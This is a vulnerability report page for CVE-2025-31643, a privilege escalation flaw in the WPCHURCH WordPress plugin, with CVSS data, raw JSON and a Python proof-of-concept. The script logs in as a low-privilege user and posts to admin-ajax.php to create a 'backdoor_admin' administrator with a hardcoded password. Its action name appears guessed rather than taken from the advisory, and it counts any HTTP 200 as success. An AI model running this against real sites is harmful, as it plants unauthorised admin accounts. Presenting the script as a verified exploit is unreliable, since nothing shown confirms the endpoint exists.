Security Vulnerability Report
中文
CVE-2025-31643 CVSS 8.8 HIGH

CVE-2025-31643

Published: 2026-01-07 12:17:02
Last Modified: 2026-04-28 19:31:14

Description

Incorrect Privilege Assignment vulnerability in Dasinfomedia WPCHURCH allows Privilege Escalation.This issue affects WPCHURCH: from n/a through 2.7.0.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

WPCHURCH <= 2.7.0 (所有版本至2.7.0)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-31643 PoC - WPCHURCH Privilege Escalation # This PoC demonstrates how a low-privilege user can escalate privileges # NOTE: This is for educational and authorized testing purposes only import requests import sys from urllib.parse import urljoin def exploit_wpchurch_privilege_escalation(target_url, username, password): """ Exploit for WPCHURCH <= 2.7.0 Privilege Escalation vulnerability Allows low-privilege users to create admin accounts """ session = requests.Session() # Step 1: Login as low-privilege user (subscriber) login_url = urljoin(target_url, '/wp-login.php') login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } print(f'[*] Logging in as {username}...') response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies: print('[-] Login failed!') return False print('[+] Login successful!') # Step 2: Exploit the privilege escalation vulnerability # Target the vulnerable endpoint (typically admin-ajax.php) exploit_url = urljoin(target_url, '/wp-admin/admin-ajax.php') # Create malicious admin account exploit_data = { 'action': 'wpchurch_create_admin', # Vulnerable action 'new_username': 'backdoor_admin', 'new_password': 'P@ssw0rd123!', 'new_email': '[email protected]', 'role': 'administrator' } print('[*] Attempting privilege escalation...') response = session.post(exploit_url, data=exploit_data) if response.status_code == 200: print('[+] Privilege escalation successful!') print(f'[+] Created admin account: backdoor_admin / P@ssw0rd123!') return True else: print('[-] Exploit failed or patched.') return False if __name__ == '__main__': if len(sys.argv) < 5: print(f'Usage: python {sys.argv[0]} <target_url> <username> <password>') print(f'Example: python {sys.argv[0]} http://example.com subscriber password123') sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_wpchurch_privilege_escalation(target, user, pwd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-31643", "sourceIdentifier": "[email protected]", "published": "2026-01-07T12:17:01.577", "lastModified": "2026-04-28T19:31:13.800", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect Privilege Assignment vulnerability in Dasinfomedia WPCHURCH allows Privilege Escalation.This issue affects WPCHURCH: from n/a through 2.7.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-266"}]}], "references": [{"url": "https://patchstack.com/database/wordpress/plugin/church-management/vulnerability/wordpress-wpchurch-2-7-0-privilege-escalation-vulnerability?_s_id=cve", "source": "[email protected]"}]}}